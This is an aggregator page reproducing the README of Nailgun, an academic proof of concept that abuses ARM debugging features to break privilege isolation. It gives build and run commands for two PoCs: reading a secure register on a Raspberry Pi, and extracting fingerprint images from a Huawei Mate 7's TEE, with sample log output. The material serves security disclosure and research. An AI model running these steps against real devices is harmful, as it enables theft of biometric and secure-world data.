All Projects → ningzhenyu → Nailgun

ningzhenyu / Nailgun

Nailgun attack on ARM devices.

Programming Languages

c
50402 projects - #5 most used programming language

Projects that are alternatives of or similar to Nailgun

Pi Builder
Extensible tool to build Arch Linux ARM for Raspberry Pi on x86_64 host using Docker
Stars: ✭ 31 (-72.81%)
Mutual labels:  raspberry-pi, arm
Chimay Red
Mikrotik RouterOS (6.x < 6.38.5) exploit kit. Reverse engineered from the "Vault 7" WikiLeaks publication.
Stars: ✭ 63 (-44.74%)
Mutual labels:  exploit, debugging
Raspberrypi tempmon
Raspberry pi CPU temperature monitor with many functions such as logging, GPIO output, graphing, email, alarm, notifications and stress testing. Python 3.
Stars: ✭ 52 (-54.39%)
Mutual labels:  raspberry-pi, arm
Freenos
FreeNOS (Free Niek's Operating System) is an experimental microkernel based operating system for learning purposes written in C++. You may use the code as you wish under the terms of the GPLv3.
Stars: ✭ 683 (+499.12%)
Mutual labels:  raspberry-pi, arm
Nwjs rpi
[NW.js port for Raspberry Pi] binary compiled for the ARMv6 used in Raspberry Pi (compatible with RPi 2 and RPi 3)
Stars: ✭ 91 (-20.18%)
Mutual labels:  raspberry-pi, arm
Woa Deployer Rpi
WOA Deployer for Raspberry Pi
Stars: ✭ 898 (+687.72%)
Mutual labels:  raspberry-pi, arm
Vulmap
Vulmap 是一款 web 漏洞扫描和验证工具, 可对 webapps 进行漏洞扫描, 并且具备漏洞利用功能
Stars: ✭ 1,079 (+846.49%)
Mutual labels:  exploit, vulnerabilities
Docker Cloudflare Ddns
A small amd64/ARM/ARM64 Docker image that allows you to use CloudFlare as a DDNS / DynDNS Provider.
Stars: ✭ 467 (+309.65%)
Mutual labels:  raspberry-pi, arm
Thoron
Thoron Framework is a Linux post-exploitation framework that exploits Linux TCP vulnerability to provide a shell-like connection. Thoron Framework has the ability to create simple payloads to provide Linux TCP attack.
Stars: ✭ 87 (-23.68%)
Mutual labels:  exploit, vulnerabilities
Docker Jdownloader
JDownloader 2 Docker Image (Multiarch) - Passed 40M Downloads
Stars: ✭ 85 (-25.44%)
Mutual labels:  raspberry-pi, arm
Aria2 Ariang Docker
The Docker image for Aria2 + AriaNg + File Browser + Rclone
Stars: ✭ 610 (+435.09%)
Mutual labels:  raspberry-pi, arm
Cargo Embed
a cargo extension for working with microcontrollers
Stars: ✭ 100 (-12.28%)
Mutual labels:  arm, debugging
Rop Tool
A tool to help you write binary exploits
Stars: ✭ 590 (+417.54%)
Mutual labels:  arm, exploit
Piku
The tiniest PaaS you've ever seen. Piku allows you to do git push deployments to your own servers.
Stars: ✭ 902 (+691.23%)
Mutual labels:  raspberry-pi, arm
Kubernetes On Arm
Kubernetes ported to ARM boards like Raspberry Pi.
Stars: ✭ 572 (+401.75%)
Mutual labels:  raspberry-pi, arm
Dockerpi
A Virtualised Raspberry Pi inside a Docker image
Stars: ✭ 1,064 (+833.33%)
Mutual labels:  raspberry-pi, arm
Raspberry Pi Pcie Devices
Raspberry Pi PCI Express device compatibility database
Stars: ✭ 444 (+289.47%)
Mutual labels:  raspberry-pi, arm
Poc
Proofs-of-concept
Stars: ✭ 467 (+309.65%)
Mutual labels:  exploit, proof-of-concept
Hacker ezines
A collection of electronic hacker magazines carefully curated over the years from multiple sources
Stars: ✭ 72 (-36.84%)
Mutual labels:  exploit, vulnerabilities
Nextcloudpi
📦 Build code for NextcloudPi: Raspberry Pi, Odroid, Rock64, Docker, curl installer...
Stars: ✭ 1,340 (+1075.44%)
Mutual labels:  raspberry-pi, arm

Nailgun: Break the privilege isolation in ARM devices

Overview

Processors nowadays are consistently equipped with debugging features to facilitate the program debugging and analysis. Specifically, the ARM debugging architecture involves a series of CoreSight components and debug registers to aid the system debugging, but the security of the debugging features is under-examined since it normally requires physical access to use these features in the traditional debugging model.

The idea of Nailgun Attack is to misuse the debugging architecture with the inter-processor debugging model. In the inter-processor debugging model, a processor (debug host) is able to pause and debug another processor (debug target) on the same chip even when the debug target owns a higher privilege. With Nailgun, we are able to obtain sensitive information and achieve arbitrary payload execution in a high-privilege mode.

For more details, please check our website https://compass.cs.wayne.edu/nailgun

Proof of Concept

We will make two PoCs available on Github:

PoC #1: Reading Secure Configuration Register with a kernel module.

Platform

  • Deivce: Raspberry PI 3 Model B+
  • Firmware: Raspbian GNU/Linux 9.6 (stretch)

Description

In this PoC, we we use a kernel module running in non-secure EL1 to read Secure Configuration Register (SCR), which is only accessiable in secure state, on Raspberry PI. The fold PoC/Read_SCR contains the source code and prebuild binaries for two kernel modules. The first kernel module directly_read.ko read the SCR directly, which lead to segmentation fault. The kernel module nailgun.ko leverages Nailgun attack to read the SCR

Prepare

If you are going to build the kernel module from the source code, you need to install the compile tools and kernel headers with the following command,

[email protected]:~/ $ sudo apt-get install build-essential raspberrypi-kernel-headers

Then, get into the source code fold, and compile the kernel module

[email protected]:~/ $ cd PoC/Read_SCR
[email protected]:~/PoC/Read_SCR $ make

Run

Use insmod command to install the corresponding kernel module, and use dmesg to check the kernel logs.

[email protected]:~/PoC/Read_SCR $ sudo insmod directly_read.ko
[email protected]:~/PoC/Read_SCR $ dmesg
[email protected]:~/PoC/Read_SCR $ sudo insmod nailgun.ko
[email protected]:~/PoC/Read_SCR $ dmesg

The value of the SCR can be found in the kernel log.

Demo Video

https://youtu.be/dlKK_69HJnk

PoC #2: Extracting the fingerprint image.

Platform

  • Deivce: Huawei Mate 7 (MT-L09)
  • Firmware: MT7-L09V100R001C00B121SP05

Description

In this PoC, we use a kernel module running in non-secure EL1 to extract the fingerprint image stored in TEE on Huawei Mate 7. The fold PoC/Fingerprint_Extraction contains the source code for the kernel module that extracts fingerprint data from TEE, a prebuild binary of the kernel module, and a python script to convert the extracted image data to a PNG file.

Prepare

  • Make sure you have scanned a fingerprint with the fingerprint sensor.
  • Enable USB debugging on your phone and connect it to your PC. (Nailgun attack doesn't require physical access to the phone, the connection is only used for transferring the binary to the phone and moving the output log to the PC.)
  • Make sure you have root access on your phone.

Run

Firstly, push the prebuild binary into the phone

adb push nailgun.ko /sdcard/

Next, in the adb shell console of the phone, install the kernel module

adb shell
[email protected]:/ $ su
[email protected]:/ # insmod /sdcard/nailgun.ko

Check the kernel log with dmesg command

[email protected]:/ # dmesg

If you can find the fingerprint data similar to this

<6>[   51.284149] [0.1, swapper/1] --------------------Fingerprint Start
<6>[   51.284210] [0.1, swapper/1] 2ef5efac: 412f0100 87796552 e8e2dfd4 eff0eeea
<6>[   51.284240] [0.1, swapper/1] 2ef5efbc: f3f3f3f3 f3f1f8f6 f3f3f2f1 eff4f4f8
<6>[   51.284301] [0.1, swapper/1] 2ef5efcc: f1f0f2f0 f1f0eff3 f1f1efee efeff0ee
<6>[   51.284332] [0.1, swapper/1] 2ef5efdc: e7ecefeb e8e9e8ed e6e4e3e6 e1e5e5e6
<6>[   51.284393] [0.1, swapper/1] 2ef5efec: e9e5e6e4 dfe3e3e6 e4e5e5e2 e0e3e3e3
<6>[   51.284423] [0.1, swapper/1] 2ef5effc: dee1e3e2 e8e6e1df eae8e6e7 eaeceeeb
<6>[   51.284484] [0.1, swapper/1] 2ef5f00c: e5e3e5e5 edebe6e7 edefeff1 f1eeeff0
<6>[   51.284515] [0.1, swapper/1] 2ef5f01c: e7eaebea e9e9e8e5 e6e7eaeb e4e5e4e2
<6>[   51.284576] [0.1, swapper/1] 2ef5f02c: e7e9e8e8 e5e6e7e6 e7eae7ea e2e4e4e5

then the PoC works. Next, dump the kernel log to file, and extract the file from the phone to your PC

[email protected]:/ # dmesg > /sdcard/nailgun.log
[email protected]:/ # exit
[email protected]:/ $ exit
adb pull /sdcard/nailgun.log .

Finally, use the python script to convert the fingerprint data to a PNG file

python log2image.py nailgun.log

You will find the extracted fingerprint images are stored into PNG files naming fingerprint_x.png, in which x means the index of the image.

Demo Video

https://youtu.be/5ioyneewFYQ

Publication

@InProceedings{nailgun19,
	Title = {Understanding the security of ARM debugging features},
	Author = {Zhenyu Ning and Fengwei Zhang},
	Booktitle = {Proceedings of the 40th IEEE Symposium on Security and Privacy (S&P'19)},
	Year = {2019}
}

Contact

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].